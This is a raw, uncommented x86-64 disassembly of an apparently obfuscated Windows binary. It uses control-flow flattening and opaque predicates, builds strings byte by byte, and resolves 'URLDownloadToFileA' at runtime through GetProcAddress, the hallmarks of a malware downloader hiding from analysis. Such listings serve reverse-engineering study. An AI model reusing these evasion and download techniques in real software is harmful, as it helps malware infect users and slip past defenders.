imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x14003e1c0
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x14003e1c0
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x14003e1c0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x14003e1c0
mov eax, 0x8cbae95b
jmp 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x14003e1c0
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x14003ebc0
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003ec00
cmp eax, 0x2a0b524b
jle 0x14003ec20
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003ebc0
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x14003ebc0
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003ebc0
jmp 0x14003ed9e
cmp eax, 0xb97238e2
jg 0x14003ec40
cmp eax, 0x873bf760
je 0x14003ebaf
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003ebc0
mov ecx, 0x7bae5e91
jmp 0x14003ebc0
cmp eax, 0x13679cf1
je 0x14003ec82
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003ebc0
mov ecx, 0xb97238e3
jmp 0x14003ebc0
cmp eax, 0xb97238e3
je 0x14003eca1
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003ebc0
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003ebc0
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x14003ebc0
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003ebc0
mov eax, 0x62e61b4c
jmp 0x14003e1cd
mov eax, 0xca2aa47c
jmp 0x14003e1cd
mov eax, 0xd4ce6052
jmp 0x14003e1cd
mov eax, 0x28f8e7fa
jmp 0x14003e1cd
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x14003e1c0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x14003e1c0
mov eax, 0xa1a955d1
jmp 0x14003e1cd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x14003e1c0
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x14003e1c0
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x14003e1cd
cmp eax, 0x8cbae95b
jne 0x14003e1cd
mov rax, qword [rbp + 0x40]
mov eax, 0xdc0d7d97
mov rsp, r10
jmp 0x14003ba4e
cmp eax, 0x8119d0ce
jne 0x14003ba4e
mov rcx, qword [rbp + 0x20]
mov rsp, qword [rbp - 0x10]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov qword [0x140061048], rax
mov r9, qword [rbp + 8]
mov qword [rbp - 0x70], r9
mov rax, qword [rbp - 0x70]
mov ecx, 0xdcea2c03
movabs rax, 0x6f8e6b3289935600
cmp ecx, 0xdcea2c02
jle 0x14003ef00
cmp ecx, 0xf36cac5e
jg 0x14003ef50
cmp ecx, 0xdcea2c03
je 0x14003ef72
cmp ecx, 0xf1444cee
jne 0x14003ee40
mov qword [rbp + 0x28], r9
lea rcx, str.URLDownloadToFileA
mov qword [rbp + 0x38], rcx
mov rcx, qword [rbp + 0x38]
movzx ecx, byte [rcx]
movabs rdx, 0x579b2baeb51bdc4
sub rdx, rcx
movabs rbx, 0x408800008002134
and rdx, rbx
movabs rbx, 0x864d4514ae423b
add rcx, rbx
movabs rbx, 0x804000000042cb
and rcx, rbx
or rcx, rdx
lea rdx, [rax + 0x19]
xor rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0x2d981d62
nop dword [rax]
cmp edx, 0xa47fcf0d
je 0x14003ef9d
cmp edx, 0x2d981d62
jne 0x14003eed0
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003eed0
cmp ecx, 0xa908c24e
je 0x14003f022
cmp ecx, 0xc244de17
je 0x140045228
cmp ecx, 0xce99c210
jne 0x14003ee40
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x78]
mov ecx, 0xce99c210
mov edx, 0xc244de17
cmove ecx, edx
jmp 0x14003ee40
cmp ecx, 0xf36cac5f
je 0x14003f920
cmp ecx, 0x671e6780
jne 0x14003ee40
mov ecx, 0xa908c24e
jmp 0x14003ee40
mov ecx, dword [0x1400611c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xf36cac5f
mov edx, 0xf1444cee
cmove ecx, edx
cmp dword [0x1400611cc], 0xa
cmovl ecx, edx
jmp 0x14003ee40
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov rdx, qword [rbp + 0x28]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 1]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0x1a]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop
cmp ebx, 0xa47fcf0d
je 0x14003f0b2
cmp ebx, 0x2d981d62
jne 0x14003f000
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f000
mov rax, qword [rbp + 0x50]
mov cl, byte [rbp + 0x68]
mov byte [rax], cl
movabs rax, 0x6f8e6b3289935600
mov r8, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x38]
movzx ecx, byte [rcx + 0x12]
movabs rdx, 0x579b2baeb51bdc4
sub rdx, rcx
movabs rbx, 0x408800008002134
and rdx, rbx
movabs rbx, 0x864d4514ae423b
add rcx, rbx
movabs rbx, 0x804000000042cb
and rcx, rbx
or rcx, rdx
lea rdx, [rax + 0xb]
xor rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0x2d981d62
nop dword [rax + rax]
cmp edx, 0xa47fcf0d
je 0x14003f12e
cmp edx, 0x2d981d62
jne 0x14003f090
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003f090
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 1], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 2]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0x1b]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f152
cmp ebx, 0x2d981d62
jne 0x14003f110
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f110
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r8 + 1], cl
add r8, 2
mov rcx, qword [rbp + 0x28]
add rcx, 0x21
mov qword [rbp + 0x78], rcx
mov ecx, 0xce99c210
jmp 0x14003ee40
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 2], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 3]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 4]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f1ce
cmp ebx, 0x2d981d62
jne 0x14003f1b0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f1b0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 3], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 4]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 5]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f24e
cmp ebx, 0x2d981d62
jne 0x14003f230
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f230
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 4], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 5]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 6]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f2ce
cmp ebx, 0x2d981d62
jne 0x14003f2b0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f2b0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 5], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 6]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 7]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f34e
cmp ebx, 0x2d981d62
jne 0x14003f330
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f330
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 6], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 7]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
xor rdx, rax
mov qword [rbp + 0x80], rdx
mov ebx, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp ebx, 0xa47fcf0d
je 0x14003f3ce
cmp ebx, 0x2d981d62
jne 0x14003f3b0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f3b0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 7], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 8]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 1]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f44e
cmp ebx, 0x2d981d62
jne 0x14003f430
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f430
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 8], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 9]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 2]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f4ce
cmp ebx, 0x2d981d62
jne 0x14003f4b0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f4b0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 9], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xa]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 3]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f54e
cmp ebx, 0x2d981d62
jne 0x14003f530
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f530
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xa], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xb]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xc]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f5ce
cmp ebx, 0x2d981d62
jne 0x14003f5b0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f5b0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xb], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xc]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xd]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f64e
cmp ebx, 0x2d981d62
jne 0x14003f630
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f630
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xc], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xd]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xe]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f6ce
cmp ebx, 0x2d981d62
jne 0x14003f6b0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f6b0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xd], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xe]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0xf]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f74e
cmp ebx, 0x2d981d62
jne 0x14003f730
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f730
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xe], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0xf]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 8]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f7ce
cmp ebx, 0x2d981d62
jne 0x14003f7b0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f7b0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0xf], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 0x10]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 9]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x14003f84e
cmp ebx, 0x2d981d62
jne 0x14003f830
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f830
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 0x10], dl
add rcx, 0x11
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbp + 0x38]
movzx ecx, byte [rcx + 0x11]
movabs rdx, 0x579b2baeb51bdc4
sub rdx, rcx
movabs rbx, 0x408800008002134
and rdx, rbx
movabs rbx, 0x864d4514ae423b
add rcx, rbx
movabs rbx, 0x804000000042cb
and rcx, rbx
or rcx, rdx
lea rdx, [rax + 0xa]
xor rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0x2d981d62
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xa47fcf0d
je 0x14003f8de
cmp edx, 0x2d981d62
jne 0x14003f8c0
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003f8c0
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [rbp + 0x68], cl
mov ecx, dword [0x1400611c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x671e6780
mov edx, 0xf36cac5f
cmovne ecx, edx
cmp dword [0x1400611cc], 0xa
mov edx, 0x671e6780
cmovl ecx, edx
jmp 0x14003ee40
movabs rax, 0x6b06ab3281933593
lea rcx, [rax + 0x2a]
mov qword [rbp + 0x80], rcx
mov edx, 0x2d981d62
nop word [rax + rax]
cmp edx, 0xa47fcf0d
je 0x14003f960
cmp edx, 0x2d981d62
jne 0x14003f940
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003f940
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9], cl
lea rcx, [rax + 0x10]
mov qword [rbp + 0x80], rcx
mov edx, 0x2d981d62
nop dword [rax]
cmp edx, 0xa47fcf0d
je 0x14003f9a0
cmp edx, 0x2d981d62
jne 0x14003f980
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003f980
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9 + 1], cl
lea rdx, [rax + 0x15]
mov qword [rbp + 0x80], rdx
mov ebx, 0x2d981d62
nop word [rax + rax]
cmp ebx, 0xa47fcf0d
je 0x14003f9e0
cmp ebx, 0x2d981d62
jne 0x14003f9c0
mov rcx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003f9c0
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9 + 2], cl
lea rcx, [rax - 0x44]
mov qword [rbp + 0x80], rcx
mov ebx, 0x2d981d62
nop word [rax + rax]
cmp ebx, 0xa47fcf0d
je 0x14003fa20
cmp ebx, 0x2d981d62
jne 0x14003fa00
mov rcx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003fa00
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9 + 3], cl
lea rcx, [rax + 8]
mov qword [rbp + 0x80], rcx
mov edi, 0x2d981d62
nop word [rax + rax]
cmp edi, 0xa47fcf0d
je 0x14003fa60
cmp edi, 0x2d981d62
jne 0x14003fa40
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fa40
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 4], bl
lea rbx, [rax - 0x13]
mov qword [rbp + 0x80], rbx
mov edi, 0x2d981d62
nop word [rax + rax]
cmp edi, 0xa47fcf0d
je 0x14003faa0
cmp edi, 0x2d981d62
jne 0x14003fa80
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fa80
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 5], bl
lea rbx, [rax + 7]
mov qword [rbp + 0x80], rbx
mov edi, 0x2d981d62
nop word [rax + rax]
cmp edi, 0xa47fcf0d
je 0x14003fae0
cmp edi, 0x2d981d62
jne 0x14003fac0
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fac0
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 6], bl
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
nop word cs:[rax + rax]
cmp edi, 0xa47fcf0d
je 0x14003fb20
cmp edi, 0x2d981d62
jne 0x14003fb00
mov rbx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fb00
mov byte [rbp + 0x40], bl
mov bl, byte [rbp + 0x40]
mov byte [r9 + 7], bl
lea rbx, [rax + 0xc]
mov qword [rbp + 0x80], rbx
mov esi, 0x2d981d62
nop word [rax + rax]
cmp esi, 0xa47fcf0d
je 0x14003fb60
cmp esi, 0x2d981d62
jne 0x14003fb40
mov rdi, qword [rbp + 0x80]
mov esi, 0xa47fcf0d
jmp 0x14003fb40
mov byte [rbp + 0x40], dil
mov rdi, rax
mov al, byte [rbp + 0x40]
mov byte [r9 + 8], al
lea rax, [rdi + 0x17]
mov qword [rbp + 0x80], rax
mov esi, 0x2d981d62
nop
cmp esi, 0xa47fcf0d
je 0x14003fba0
cmp esi, 0x2d981d62
jne 0x14003fb80
mov rdi, qword [rbp + 0x80]
mov esi, 0xa47fcf0d
jmp 0x14003fb80
mov byte [rbp + 0x40], dil
mov al, byte [rbp + 0x40]
mov byte [r9 + 9], al
mov qword [rbp + 0x80], rdx
mov edi, 0x2d981d62
nop word [rax + rax]
cmp edi, 0xa47fcf0d
je 0x14003fbe0
cmp edi, 0x2d981d62
jne 0x14003fbc0
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fbc0
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xa], al
movabs rax, 0x6b06ab3281933593
add rax, 0x24
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp edi, 0xa47fcf0d
je 0x14003fc30
cmp edi, 0x2d981d62
jne 0x14003fc10
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fc10
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xb], al
movabs rax, 0x6b06ab3281933593
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
cmp edi, 0xa47fcf0d
je 0x14003fc70
cmp edi, 0x2d981d62
jne 0x14003fc50
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fc50
mov byte [rbp + 0x40], dl
mov rdx, rax
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xc], al
lea rax, [rdx + 0x28]
mov qword [rbp + 0x80], rax
mov edi, 0x2d981d62
nop dword [rax]
cmp edi, 0xa47fcf0d
je 0x14003fcb0
cmp edi, 0x2d981d62
jne 0x14003fc90
mov rdx, qword [rbp + 0x80]
mov edi, 0xa47fcf0d
jmp 0x14003fc90
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xd], al
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop word cs:[rax + rax]
cmp ebx, 0xa47fcf0d
je 0x14003fcf0
cmp ebx, 0x2d981d62
jne 0x14003fcd0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x14003fcd0
mov byte [rbp + 0x40], dl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xe], al
mov qword [rbp + 0x80], rcx
mov edx, 0x2d981d62
nop word cs:[rax + rax]
cmp edx, 0xa47fcf0d
je 0x14003fd30
cmp edx, 0x2d981d62
jne 0x14003fd10
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003fd10
mov byte [rbp + 0x40], cl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0xf], al
movabs rax, 0x6b06ab3281933593
add rax, 0xa
mov qword [rbp + 0x80], rax
mov edx, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp edx, 0xa47fcf0d
je 0x14003fd80
cmp edx, 0x2d981d62
jne 0x14003fd60
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003fd60
mov byte [rbp + 0x40], cl
mov al, byte [rbp + 0x40]
mov byte [r9 + 0x10], al
movabs rax, 0x6b06ab3281933593
add rax, 0xffffffffffffffaf
mov qword [rbp + 0x80], rax
mov edx, 0x2d981d62
nop word cs:[rax + rax]
nop
cmp edx, 0xa47fcf0d
je 0x14003fdd0
cmp edx, 0x2d981d62
jne 0x14003fdb0
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x14003fdb0
